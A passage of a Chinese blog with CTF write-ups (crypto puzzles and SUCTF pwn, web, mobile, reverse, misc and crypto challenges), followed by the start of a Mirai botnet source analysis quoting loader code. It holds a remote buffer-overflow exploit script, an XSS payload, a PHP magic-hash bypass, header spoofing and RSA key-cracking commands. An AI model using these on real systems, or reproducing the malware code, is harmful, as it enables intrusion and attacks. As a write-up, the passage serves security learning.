这题简直能用“恶心”来形容。下载下来的附件是一个 7zip 文件,可以查看文件列表,但打开文件和解压都需要密码。文件列表中有四个文件:CRC32 Collision.7zpwd1.txtpwd2.txtpwd3.txt,猜想后三个拼起来就是压缩包的密码。根据第一个文件名的提示,应该是用 CRC32 的碰撞来解。三个密码文件的 CRC32 分别是 7C2DF918A58A19264DAD5967,大小均为六个字节,于是尝试用 hashcat 来跑所有长度为六位的明文,然而跑出来的并不像最终答案。后来想到 CRC32 的碰撞是非常多的,因此得想办法跑出所有的解。经队友助攻,将 hashcat64.exe0x4d79a 处的 0001 5000 改成 0005 5000 即可。三个 CRC32 一共输出了 509 个解,人工分析了一下,分别找出了一个最可能是解的答案,拼起来即可得到解压密码:_CRC32_i5_n0t_s4f3

接下来的 CRC32 Collision.7z 文件解压之后有 Find password.7zciphertext.txtkeys.txt 几个文件,是一个维吉尼亚密码,其中给了一万个 key,有一个是正确的……随手写了段程序分别用这一万个 key 对密文解密,猜想英文中的 the 出现频率比较高,于是直接在结果中搜 the(首尾带空格),看到一段话:

1
the vigenere cipher is a method of encrypting alphabetic text by using a series of different caesar ciphers based on the letters of a keyword it is a simple form of polyalphabetic substitution so password is vigenere cipher funny

因此密码为 vigenere cipher funny,从而进入下一层。

这一层的提示中给了一个不完整的明文 *7*5-*4*3? 和不完整的 sha1 值 619c20c*a4de755*9be9a8b*b7cbfa5*e8b4365*,其中每一个星号对应一个可打印字符。对 sha1 中的星号枚举 [0-9a-f] 并将其放到字典中,对明文中的星号枚举 ASCII 为 33127 的字符并将其 sha1 后查找是否在字典中出现,最终得出答案:`I75-s4F3? 619c20c4a4de75519be9a8b7b7cbfa54e8b4365b`,进入下一层。

本层题目有两个提示,一个是 Hello World ;-),另一个是 两个程序 md5 相同,百度搜索 md5 相同 Hello World,可以搜到两个程序:HelloWorld-colliding.exeGoodbyeWorld-colliding.exe,其中第一个输出是 Hello World ;-),第二个循环输出 Goodbye World :-(,这个就是解压密码。但是原则上来说,有无数个具有不同输出的程序都可以跟第一个程序的 md5 相同,因此感觉这一层出的有问题。

最后一层给了一个 flag.encrsa_public_key.pem,可以通过 RsaCtfTool 直接生成私钥:

1
2
$ python RsaCtfTool.py --pkey rsa_public_key.pem --pri > private.key
$ openssl rsautl -decrypt -in flag.enc -inkey private.pem -out flag.txt

最终得出 flag:flag{W0rld_Of_Crypt0gr@phy}

[Misc] 面具

将图片下载下来分析一下:

1
2
3
4
5
6
7
8
9
$ binwalk C4n_u_find_m3_DB75A15F92D15B504D791F1C02B8815C.jpg

DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
12 0xC TIFF image data, little-endian
478718 0x74DFE Zip archive data, at least v2.0 to extract, compressed size: 153767, uncompressed size: 3145728, name: "flag.vmdk"
632637 0x9A73D End of Zip archive

$ dd if=C4n_u_find_m3_DB75A15F92D15B504D791F1C02B8815C.jpg of=flag.zip bs=1 skip=478718

解压 flag.zip 是一个 vmdk 文件,使用高版本的 WinHex 打开后,点击菜单中的“专业工具→将镜像文件转换为磁盘”,然后找到 分区1,里面有两个文件夹 key_part_onekey_part_two,第一个文件夹里面有一段 Brainfuck 代码,运行结果为 flag{N7F5_AD5;第二个里面没有有意义的文件,但是根目录下还有个曾经被删除过的文件(WinHex 提示:曾经存在的,数据不完整),打开是一段 Ook 程序,运行结果为 _i5_funny!},拼起来即可得到 flag:flag{N7F5_AD5_i5_funny!}


下面是队友们做出来的题。

[Basic] 签到题

rar 解压,密码 ichunqiu&dabiaojie,flag{ctf_1s_interesting}。

[Web] 跳

访问首页得到测试账号 testtest,猜测 admintest。拿到 token,访问 admin.php 得 flag。

[Crypto] 简单点

Brainfuck 解密得到 flag{url_lao_89}

[Misc] 大可爱

把那张图 binwalk 解压出来,得到 29.zlib。解压 zlib:

1
2
3
4
5
6
7
import zlib
with open("29.zlib","rb") as fp:
s = fp.read()
ds = zlib.decompress(s)
dsss = zlib.decompress(ds[0x28D28D:])
with open("decode","wb") as fp:
fp.write(dsss.decode("hex"))

之后再 binwalk 解压,得到一个加密的 zip 文件,密码在注释:M63qNFgUIB3hEgu3C5==,解压得 flag:flag{PnG_zLiB_dEc0mPrEsS}

[Reverse] re400

先用 IDA 载入 re400.static,发现这程序:

  1. 没有引用动态库,给我们这一堆没有符号的动态库的出题人是想作甚?
  2. 什么符号都没有…还是先跑一下,看有什么提示吧。

运行程序之后,随便输入一些数据,程序打印出 Wrong.,然后就退出了。IDA 里搜一下 Wrong. 这个字符串,看一下所在函数,基本可以推断出这个 sub_400CF0 就是 main 函数,大概的代码是这样的:

1
2
3
4
5
6
7
8
9
10
11
const char *expect = "OSHzTJ4pwFgRG6eS6y3xVOOEGcbE5rzwqTs7VCK6ACQLuiTamZpXcQ==";
int main() {
char input[256];
read(0, input, 256);
if (check(input, expect, strlen(expect)) {
puts("Right.");
} else {
puts("Wrong.");
}
return 0;
}

那个 expect 怎么看都像是 base64 编码的字符串,试着解码后,只知道它的内容长度是 40,没看出什么规律。

然后重点是 check 函数(sub_401510)到底是怎么检查输入数据的。但点开 check 函数后,里面一大堆 call 指令实在看得有点慌…点开第一个 call sub_429AE0 就看到一堆 xmm 寄存器,正常写出来的代码,基本不会被编译出用 xmm 寄存器的,所以猜测这应该是个 libc 的库函数。另找一个带有符号的 libc,用 IDA + bindiff 插件,尝试匹配其中的无名函数。虽然会有一些误判,大胆猜测一下,给一些函数重命名:

1
2
3
4
5
* sub_429AE0: strlen
* sub_402730: malloc
* sub_42C990: memset
* sub_432520: strcpy
* sub_402710: free

开始一边运行,一边分析 check 函数:

1
2
3
4
5
6
7
8
9
0x40153E - 0x40154C: 判断了 strlen(input) <= 5,如果成立的话,就直接退出了。因此输入的长度必须大于 5
0x401552 - 0x401576: 是一个以 rax 为循环变量的循环,检查了输入的前5个字符是否满足 [0-9A-Z]{5}
0x401578 - 0x4015E5: 申请了两块内存空间并初始化,然后把栈上的两块空间清零
0x4015EE - 0x4015FF: 循环,把输入的前五个字节复制到栈内存
0x401601 - 0x40163B: 有三个 call,先看第一个 call sub_401CA0,看到 0x10325476 之类的数字,md5 无疑了,仔细阅读一下,这块代码是在计算输入数据前五个字节的 md5
0x401648 - 0x401662: 又一个循环,循环变量应该是 r15,每次递增 8,与输入长度 r12d 进行比较,然后 call sub_401B30 的参数有三个:
* lea rdi, [rbx+r15] arg[0]:输入数据
* lea rsi, [rsp+30h] arg[1]:上一步算出来的 md5 的前半部分
* lea rdx, [rbp+r15] arg[2]:第一块 malloc(strlen(input)+16) 的空间

至于那个 sub_401B30 到底是做什么的,(一开始)实在没搞懂,暂时不管它,接着分析代码。

1
2
3
4
0x401674 - 0x4016AD: 看到 call 了 malloc 和 memset,然后有一个 call sub_401120,分析它参数:
* mov rdi, rbp arg[0]:上一步用 sub_401B30 算出来的结果
* mov rsi, r13 arg[1]:刚刚 malloc 的空间
* mov edx, r12d arg[2]:strlen(input),aligned 8

调试时,运行过这个 call 后,发现 arg[1] 的空间里是一个 base64 编码的字符串,解码后就是 arg[0] 的内容,确定这个 sub_4011120 应该就是 b64encode(src, dst, len)。剩下的代码,就是把这个 base64 编码的字符串和 expect 比较了。至此,剩下一个关键的 sub_401B30

花了好几个小时,重写出里面调用到的几个子函数,每个函数都用到了几十到几百字节的非线性变换。虽然不是特别难的事情,但工作量太大了…直到开始重写最后一个子函数的时候,注意到这个循环的流程是这样的:

1
2
3
4
5
6
7
8
* call sub_401930
* call sub_4018C0
* call sub_401AA0
* loop xor
* call sub_401930
* call sub_4018C0
* call sub_401AA0
* loop xor

为啥我联想到了密码学里的 Feistel 网络…然后再看这个函数最底下的那个

1
.text:0000000000401C6F                 call    sub_4018C0

sub_4018C0 是一个相对简单的变换,我想,这该不会是 DES 加密吧?验证一下,这果然就是 DES。

(`□′)╯┴┴
(╯°Д°)╯︵ ┻━┻
(╯#-_-)╯~~~~~~~~~~~~~~~~~╧═╧

算法就是:base64(DES.new(key=md5(input[:5]).digest()[:8], mode=DES.MODE_ECB).encrypt(input))

写一个程序,穷举输入前五个字节,能找到唯一匹配 expect 的输入:SHSECflag{675ac45bc131a1b7c145b605f4ba5}

附求解程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <mbedtls/des.h>
#include <mbedtls/md5.h>

int main(int argc, char *argv[]) {
int pos = atoi(argv[1]);
const uint8_t *t = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
uint8_t plain[8];
uint8_t cipher[9];
uint8_t key[16];
uint8_t target[] = {0x39,0x21,0xf3,0x4c,0x9e,0x29,0xc0,0x58,0x11,0x1b,0xa7,0x92,0xeb,0x2d,0xf1,0x54,0xe3,0x84,0x19,0xc6,0xc4,0xe6,0xbc,0xf0,0xa9,0x3b,0x3b,0x54,0x22,0xba,0x00,0x24,0x0b,0xba,0x24,0xda,0x99,0x9a,0x57,0x71};
mbedtls_des_context des;
cipher[8] = 0;
for (uint8_t a0 = 0; a0 < 36; a0++) {
plain[0] = t[a0];
for (uint8_t a1 = 0; a1 < 36; a1++) {
plain[1] = t[a1];
printf("status %c%c\r", plain[0], plain[1]);
fflush(stdout);
for (uint8_t a2 = 0; a2 < 36; a2++) {
plain[2] = t[a2];
for (uint8_t a3 = 0; a3 < 36; a3++) {
plain[3] = t[a3];
for (uint8_t a4 = 0; a4 < 36; a4++) {
plain[4] = t[a4];
mbedtls_md5(plain, 5, key);
mbedtls_des_init(&des);
mbedtls_des_setkey_dec(&des, key);
mbedtls_des_crypt_ecb(&des, target, cipher);
if (memcmp(cipher, plain, 5) == 0) {
printf("found %s\n", cipher);
for (size_t t = 0; t < sizeof(target); t += 8) {
mbedtls_des_crypt_ecb(&des, target + t, cipher);
printf("%s", cipher);
}
printf("\n\n");
}
}
}
}
}
}
return 0;
}

SUCTF 招新赛 Writeup

本来说好的招新赛,结果南航有一堆老司机混进去做题,而且主办方可以随时放题,因此最终题目难度变得没那么简单了。虽然出题的都是队友(队友:“我才没你这么差的队友呢!”),然而还是由于技术不过关,有些看似基础的东西仍然没有做出来。接下来就把我会做的题目写一下吧。

下面的顺序是按照在页面中显示的顺序,而非难度顺序。

[PWN] 这是你 hello pwn?

拖进 IDA,看到 main 函数是这样的:

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp) {
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
write(1, "let's begin!\n", 0xDu);
read(0, &v4, 0x100u);
return 0;
}

显然是缓冲区溢出,然后注意到左边的 Function Window 里面有个 getflag 函数,地址为 0804865D,内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int getflag() {
char format; // [sp+14h] [bp-84h]@4
char s1; // [sp+28h] [bp-70h]@3
FILE *v3; // [sp+8Ch] [bp-Ch]@1
v3 = fopen("flag.txt", "r");
if ( !v3 )
exit(0);
printf("the flag is :");
puts("SUCTF{dsjwnhfwidsfmsainewmnci}");
puts("now,this chengxu wil tuichu.........");
printf("pwn100@test-vm-x86:$");
__isoc99_scanf("%s", &s1);
if ( strcmp(&s1, "zhimakaimen") )
exit(0);
__isoc99_fscanf(v3, "%s", &format);
return printf(&format);
}

因此思路是先输入 112 个字节,然后覆盖 main 的返回指针为 0804865D,然后输入 zhimakaimen 即可,话说那个输出伪终端提示符的句子也真是……

1
2
3
4
from pwn import *
r = remote('xxx.xxx.xxx.xxx', 10000)
r.send('A' * 112 + '\x5d\x86\x04\x08')
r.interactive()

不知道为啥,我在最后写上 r.send('zhimakaimen') 并不管用,因此只能手动输入了。

1
2
3
4
5
let's begin!
the flag is :SUCTF{dsjwnhfwidsfmsainewmnci}
now,this chengxu wil tuichu.........
pwn100@test-vm-x86:$$ zhimakaimen
SUCTF{5tack0verTlow_!S_s0_e4sy}

[Web] flag 在哪?

打开网址,抓包可以发现在 HTTP 头里面有 Cookie:

1
Cookie:flag=suctf%7BThi5_i5_a_baby_w3b%7D

即可得出 flag。

[Web] 编码

打开网页,里面有个输入框和一个被 disabled 掉的提交按钮,抓包发现 HTTP 头中有 Password:

1
Password: VmxST1ZtVlZNVFpVVkRBOQ==

扔到 Base64 里面解出来是 VlROVmVVMTZUVDA9,一开始看到这编码我一脸懵逼,但是后来发现只需要再扔进 Base64 解几次就行了……最终解出来是 Su233。是够 233 的,把它输进去,用 Chrome 修改网页结构让按钮变得可以提交,最终得出 flag:suctf{Su_is_23333}

[Web] XSS1

只有一个输入框和提交按钮,过滤了 script 字符串,于是想到了用标签的 onerror 属性:

1
</pre><img src=# onerror=alert(1)>

提交之后可得 flag:suctf{too_eaSy_Xss}

[Web] PHP是世界上最好的语言

网页内容为空,查看源代码可以看到一段 PHP:

1
2
3
4
if(isset($_GET["password"]) && md5($_GET["password"]) == "0")
echo file_get_contents("/opt/flag.txt");
else
echo file_get_contents("xedni.php");

经典的 PHP 两个等号的 Feature,随便找一个 md5 之后是 0e 开头的字符串即可。

1
http://xxx.xxx.xxx.xxx/xedni.php?password=s878926199a

得到 flag:suctf{PHP_!s_the_bEst_1anguage}

[Web] ( ゜- ゜)つロ 乾杯~

AAEncode 编码,本质跟 eval 混淆压缩相似,可以找在线解码器,也可以直接去掉最后调用的部分(这样可以得出一个函数,然后在 Chrome 的控制台中点击进去即可复制内容)。内容是一段 Brainfuck,直接找在线解析器就可以了。得到 flag:suctf{aAenc0de_and_bra1nf**k}

[Web] 你是谁?你从哪里来?

只允许 http://www.suctf.com 这个服务器访问该页面,修改 Origin 和 X-Forwarded-For 即可:

1
2
Origin: http://www.suctf.com
X-Forwarded-For: xxx.xxx.xxx.xxx

得到 flag:suctf{C0ndrulation!_y0u_f1n1shed}

[Web] XSS2

这题不知道坑了多少人,虽然题目名称是 XSS,但是这其实是一道隐写。题目中给的路径 http://xxx.xxx.xxx.xxx/44b22f2bf7c7cfa05c351a5bf228fee0/xss2.php 去掉最后的 xss2.php 后有列目录权限,可以看到里面有张图片:914965676719256864.tif,直接用 strings 命令搜索一下即可得到 flag:

1
2
root@kali:~/Downloads# strings 914965676719256864.tif | grep suctf
suctf{te1m_need_c0mmun1catlon}</photoshop:LayerText>

[Mobile] 最基础的安卓逆向题

dex2jar 反编译,用 jd-gui 打开之后,在 MainActivity 中直接发现了 flag:

1
String flag = "suctf{Crack_Andr01d+50-3asy}";

[Mobile] Mob200

反编译之后发现 Encrypt.class 是 AES 类,key 似乎与图片有些关系,但是 AES 的加密和解密用的是同一个 key,因此直接抄过来即可。折腾了若干次 Java 之后才知道,有些函数不适用于 PC Java,而只能在安卓上用,因此新建了一个项目,将所有用到的代码都复制进来,补全了 Encrypt.class 中的解密部分,自己写了一个 MainActivity,导入了图片资源,调试工程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public class Encrypt {
// ....
public String doDecrypt(String paramString) {
try {
char[] arrayOfChar = new char[16];
BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(ContextHolder.getContext().getAssets().open("kawai.jpg")));
localBufferedReader.skip(424L);
localBufferedReader.read(arrayOfChar);
localBufferedReader.close();
String str = new String(decrypt(Base64.decode(paramString.getBytes(), 2), this.key.getBytes(), charArrayToByteArray(arrayOfChar)));
return str;
} catch (Exception localException) {
localException.printStackTrace();
}
return paramString;
}
public byte[] decrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte[] paramArrayOfByte3) throws Exception {
byte[] arrayOfByte = transformKey(paramArrayOfByte2);
Cipher localCipher = Cipher.getInstance("AES/CFB/PKCS7Padding");
localCipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(arrayOfByte, "AES"), new IvParameterSpec(paramArrayOfByte3));
return localCipher.doFinal(paramArrayOfByte1);
}
}
public class MainActivity extends AppCompatActivity {
String correct = "XclSH6nZEPVd41FsAsqeChz6Uy+HFzV8Cl9jqMyg6mMrcgSoM0vJtA1BpApYahCY";
Encrypt encrypt = new Encrypt();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String clear = this.encrypt.doDecrypt(this.correct);
System.out.println(clear);
}
}

得到 flag:suctf{andr01d_encrypt_s0much_4un}

[Mobile] mips

正如名字所述是一段 MIPS 汇编。我的 MIPS 并不熟,IDA 也没装 MIPS 的插件,然而有个在线网站特别好:https://retdec.com/decompilation/ ,可以将一些常见的汇编转换为可编译通过的 C 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdint.h>
#include <stdio.h>
#include <string.h>

char * g1 = "\x58\x31\x70\x5c\x35\x76\x59\x69\x38\x7d\x55\x63\x38\x7f\x6a"; // 0x410aa0

int main(int argc, char ** argv) {
int32_t str = 0; // bp-52
int32_t str2 = 0; // bp-32
printf("Input Key:");
scanf("%16s", &str);
int32_t v1 = 0; // bp-56
if (strlen((char *)&str) == 0) {
if (memcmp((char *)&str2, (char *)&g1, 16) == 0) {
printf("suctf{%s}\r\n", &str);
} else {
puts("please reverse me!\r");
}
return 0;
}
int32_t v2 = 0; // 0x4008148
int32_t v3 = v2 + (int32_t)&v1; // 0x4007c0
unsigned char v4 = *(char *)(v3 + 4); // 0x4007c4
*(char *)(v3 + 24) = (char)((int32_t)v4 ^ v2);
v1++;
while (v1 < strlen((char *)&str)) {
v2 = v1;
v3 = v2 + (int32_t)&v1;
v4 = *(char *)(v3 + 4);
*(char *)(v3 + 24) = (char)((int32_t)v4 ^ v2);
v1++;
}
if (memcmp((char *)&str2, (char *)&g1, 16) == 0) {
printf("suctf{%s}\r\n", &str);
} else {
puts("please reverse me!\r");
}
return 0;
}

稍加整理,可以看出来是一个循环,v4 本质是 str[i]v3 + 24 本质是 str[i + 5]。也就是说,这段代码先获取你的输入,然后一个循环将第 i 位的字符异或一下 i,因此解密也超级好写:

1
2
3
4
5
6
7
8
char g[] = "\x58\x31\x70\x5c\x35\x76\x59\x69\x38\x7d\x55\x63\x38\x7f\x6a";

int main() {
for (int i = 0; i < strlen(g); i++) {
printf("%c", g[i] ^ i);
}
printf("\n");
}

得到 flag:suctf{X0r_1s_n0t_h4rd}

[Mobile] Mob300

解压 apk 之后发现里面加载了各种平台下的一个叫 libnative-lib.so 的文件,于是挑了一个最熟悉的平台:x86,用 IDA 反汇编,发现里面的函数超级少,每个函数的语句也超级少,于是就一点点看了。Java_com_suctf_naive_MainActivity_getHint(int a1) 函数里面其实是拼了一个字符串:

1
2
3
4
5
6
v8 = '!ga';
v7 = 'lf e';
v6 = 'ht s';
v5 = 'i ta';
v4 = 'hw s';
v3 = 'seuG';

这特么不就是 Guess what is the flag!?然后看到 Java_com_suctf_naive_MainActivity_getFlag(int a1) 函数和 flag_gen(void) 函数内容基本是一样的,里面也在拼字符串:

1
2
3
4
flag_global = xmmword_5D0;
flag_global[4] = 'uf_0';
flag_global[10] = '}n';
flag_global[22] = '\0';

双击 xmmword_5D0,然后右键将其转换为字符串,可得:5_inj_teeM{ftcus,于是得出 flag:suctf{Meet_jni_50_fun}

[Misc] 签到

加群,在群文件中可以得到 flag:suctf{Welc0me_t0_suCTF}

[Misc] Misc-50

下载下来是一个 GIF 图像,每隔六秒刷新一次,图像是一个竖条。后来发现其实是一个浏览大图的窗格,于是用 PS 将所有图层从左到右拼起来即可得到 flag:suctf{t6cV165qUpEnZVY8rX}

[Misc] Forensic-100

下载下来是一个文件,用 file 看一下发现是 Gzip 压缩,用 gzip 命令解压。

1
2
3
4
$ file SU
SU: gzip compressed data, was "SU", last modified: Sat Oct 29 19:43:07 2016, from Unix
$ cat SU | gzip.exe -d
fhpgs{CP9PuHsGx#}

前几个肯定是 suctf,后面的按照规律解也可以,其实这是个 rot13,直接找个在线工具解了就行:suctf{PC9ChUfTk# }

[Misc] 这不是客服的头像嘛。。。。23333

下载下来是一张图片,用 file 看也是一张图片,然而用 binwalk 之后发现里面有个压缩包,用 dd 命令提取出来:

1
2
3
4
5
6
7
8
9
10
$ binwalk xu.jpg

DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
46046 0xB3DE RAR archive data

$ dd if=xu.jpg of=xu.rar bs=1 skip=46046
20221+0 records in
20221+0 records out
20221 bytes (20 kB) copied, 0.294344 s, 68.7 kB/s

解压发现是一个 img 镜像(吐槽一下这丧心病狂的压缩率,能把 1440 压成 20……),打开发现是四张图片,分别是一个二维码的四个角,把它们拼起来,扫一下即可:suctf{bOQXxNoceB}

[Re] 先利其器

可以看出来里面是一个循环,循环结束后 num 为零,然后判断如果 num 不为零则显示答案。虽然可以 patch 二进制将这句话 nop 掉,但是由于这么简单,还是直接看伪代码吧。

1
2
3
4
if ( num > 9 ) {
plaintext = 'I';
flag(&plaintext);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
signed int __cdecl flag(int *ret) {
ret[12] = 'a';
ret[11] = '6';
ret[10] = 'I';
ret[9] = '_';
ret[8] = 'e';
ret[7] = '5';
ret[6] = 'U';
ret[5] = '_';
ret[4] = 'n';
ret[3] = '@';
ret[2] = 'c';
return 1;
}

再加上循环里有一句 flag[1] = '_';,于是就拼出来了:suctf{I_c@n_U5e_I6a}

[Re] PE_Format

发现文件头的 PE 和 MZ 标志刚好反了,于是将其改正,然后将 PE 文件头的位置从 40 改为 80,即可运行程序,然而程序没啥反应,于是上 IDA(居然是 x64 的)。

1
2
3
4
for ( i = 0; i < len; ++i ) {
ans2[i] = ans[i];
ans[i] = ~ans[i];
}

然后判断如果你的输入(ans)加密后跟 secret 相等则通过。secret 的内容是一段二进制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.data:0000000000476010 ; char secret[23]
.data:0000000000476010 secret db 0BBh
.data:0000000000476011 db 90h ;
.data:0000000000476012 db 0A0h ;
.data:0000000000476013 db 0A6h ;
.data:0000000000476014 db 90h ;
.data:0000000000476015 db 8Ah ;
.data:0000000000476016 db 0A0h ;
.data:0000000000476017 db 94h ;
.data:0000000000476018 db 91h ;
.data:0000000000476019 db 90h ;
.data:000000000047601A db 88h ;
.data:000000000047601B db 0A0h ;
.data:000000000047601C db 0AFh ;
.data:000000000047601D db 0BAh ;
.data:000000000047601E db 0A0h ;
.data:000000000047601F db 0B9h ;
.data:0000000000476020 db 90h ;
.data:0000000000476021 db 8Dh ;
.data:0000000000476022 db 92h ;
.data:0000000000476023 db 9Eh ;
.data:0000000000476024 db 8Bh ;
.data:0000000000476025 db 0C0h ;
.data:0000000000476026 db 0

于是随手写一段程序即可:

1
2
3
4
5
6
7
8
9
10
11
#include <cstdio>
#include <cstring>

char secret[] = {0xBB, 0x90, 0xA0, 0xA6, 0x90, 0x8A, 0xA0, 0x94, 0x91, 0x90, 0x88, 0xA0, 0xAF, 0xBA, 0xA0, 0xB9, 0x90, 0x8D, 0x92, 0x9E, 0x8B, 0xC0, 0x00};

int main() {
for (int i = 0; i < strlen(secret); i++) {
secret[i] = ~secret[i];
}
printf("%s\n", secret);
}

得出 flag:suctf{Do_You_know_PE_Format?}

[Re] Find_correct_path

上 IDA 分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
scanf("%s", &v5);
if ( v7 ) {
switch ( v7 ) {
case 1:
choose1(&choice);
break;
case 2:
choose2(&choice);
break;
case 3:
choose3(&choice);
break;
case 4:
choose4(&choice);
break;
}
v6 = strlen(&choice);
final(&choice, v6);
result = 0;
} else {
result = 1;
}

读入了 v5,然而判断了 v7,而且 v5v7 前面,当然可以当 PWN 来做,但是更简单的方法是直接修改二进制,将第一句改为 scanf("%d", &amp;v7) 即可,只需要改一个字符和一个地址。然后在 Linux 下运行即可,分别输入 1~4 看看结果如何:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~# ./Which_way_is_correct_rex
1
T2l1_w1y_lT_r!8Tt
root@kali:~# ./Which_way_is_correct_rex
2
Th15_3ad_ls__!8he
root@kali:~# ./Which_way_is_correct_rex
3
Thl5_way_ls_r!8ht
root@kali:~# ./Which_way_is_correct_rex
4
Thl5lwaycTsTr7Tht

很显然 3 是正确的,于是得到 flag:suctf{Thl5_way_ls_r!8ht}

[Re] reverse04

吐槽一下,首先文件名是 reverse03 .exe(嗯,还有个空格),其次里面有各种系统调用和反调试。

先输入用户名和密码,然后利用三个替换规则分别对用户名的 03 位、47 位、8~11 位进行替换,结果存在字符串 flag 的特定区域(在代码中有写到 flag 的一些值为 flag{xxxxxxxxxxxxxxxxx}),然后对该区域进行一个 +1 的凯撒加密,判断与输入的密码是否相等。恶心就恶心在替换过程,trans1 使用了 GetTickCount 判断是否在调试,trans2 判断系统中是否有 idaq.exeidaq64.exe 进程,trans3 使用了 IsDebuggerPresent__readfsdword 判断是否在调试,这些判断的方法最终影响到了 x1x2,然而第 i 个替换规则是这样的:flag[X + 5] = Dict[i][F(x1, x2) + username[X]],其中 F 函数返回一个整数,username[X] 要取 ASCII 码。由于我不会系统调用,因此直接手动枚举的(反正替换的区域互不影响,最差也只需要六次枚举),最终得到 flag:suctf{antidebugabc}

[Crypto] base??

根据题目提示猜想是 Base64,然而并不是,试了 Base32 可以了:suctf{I_1ove_Su}

[Crypto] 凯撒大帝

根据提示是凯撒密码,将给的数字拆成 ASCII 的形式,然后按照 +4, +4, +15, +15, +4, +4… 的规律解码就可以了:suctf{I_am_Caesar}

[Crypto] easyRSA

注意到 public_key 超级短,因此可以用 RsaCtfTool 工具直接暴力破解出 private_key:

1
$ python RsaCtfTool.py --pkey ../easyRSA/public.key --pri > ../easyRSA/private.key

然后就可以用 openssl 来对数据进行解密了,得到 flag:suctf{Rsa_1s_ea5y}。话说谁说 RSA 简单的,明明只是 key 短。

[Crypto] 普莱费尔

有在线的解密工具,先将下面一串 WW91IGFyZSBsdWNreQ== 翻译成 You are lucky,然后用它做 key,翻译上面的内容即可。得到 flag:suctf{charleswheatstone}

[Crypto] 很贱蛋呀

查看 En.py 文件,发现每一轮的 key 都不一样,而且每一位互不影响,群里也说答案都是可见字符,因此三重循环,第一重枚举 key,第二重枚举字符位置,第三重枚举该位置的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <cstdio>
#include <cstring>

unsigned char cipher[30] = {75, 30, 30, 215, 104, 138, 69, 213, 248, 30, 179, 212, 105, 33, 213, 249, 105};
int len = strlen((char *)cipher);

unsigned char result[30] = {0};
int index = 0;

char solve(int key, int enc) {
for (int x = 32; x <= 127; x++) {
int am = (key + x) / 2;
int gm = key * x;
if ((am + gm) % 255 == enc) {
return x;
}
}
return 0;
}

bool deal(int key) {
index = 0;
for (int i = 0; i < len; i++) {
if ((result[index++] = solve(key, cipher[i])) == 0) {
return false;
}
}
return true;
}

int main() {
for (int key = 0; key < 128; key++) {
if (deal(key * 101)) {
printf("Found key = %d\n", key);
printf("%s\n", result);
}
}
return 0;
}
1
2
Found key = 110
Goodlucktobreakme

最终得出 flag:suctf{Goodlucktobreakme}


这次懒得写结尾了……

对 Mirai 病毒的初步分析——物联网安全形式严峻

前几天,半个美国的吃瓜群众纷纷表示上不了网了。经过各种调查,发现是一个代号为 Mirai(日语:未来)的病毒感染了物联网设备,形成了一个僵尸网络,最终这个超大型的僵尸网络向美国某 DNS 公司的服务器发起了 DDoS 攻击。Mirai 的 C 语言源码在网上很容易获取到,刚好我最近在上计算机病毒课,于是就下载下来研究了一下,顺便看一下以自己现在的能力可以理解到哪一步。

下载下来之后粗略看了一下,第一感觉就是作者的代码风格真的是超级好!不光代码格式很赞(虽说大括号放到了下一行),而且变量名、文件名都很有目的性,重要的地方都写了注释或者打了 log,因此分析起来还是相对比较简单的。

目录结构

Mirai 源码目录结构是这样的:

1
2
3
4
5
6
7
8
9
Mirai_Source_Code
├─loader # 加载器
│ ├─bins # 一部分二进制文件
│ └─src # 加载器的源码
│ └─headers
└─mirai # 病毒本体
├─bot # 攻击、扫描器、域名解析等模块
├─cnc # 使用 go 语言写的服务器程序
└─tools # 存活状态检测、加解密、下载文件等功能

加载器部分

接下来我们把目光转向 loader/src/main.c 文件。在 main 函数中有效力的第一句话是调用了 binary_init 函数,在这个函数中尝试加载 loader/bins 下面的程序(本文所有引用的代码,格式均按照我的风格有所调整,但内容均未修改):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0) {
printf("Failed to load from bins folder!\n");
return;
}
for (i = 0; i < pglob.gl_pathc; i++) {
char file_name[256];
struct binary *bin;
bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *));
bin_list[bin_list_len] = calloc(1, sizeof (struct binary));
bin = bin_list[bin_list_len++];
#ifdef DEBUG
printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);
#endif
strcpy(file_name, pglob.gl_pathv[i]);
strtok(file_name, ".");
strcpy(bin->arch, strtok(NULL, "."));
load(bin, pglob.gl_pathv[i]);
}

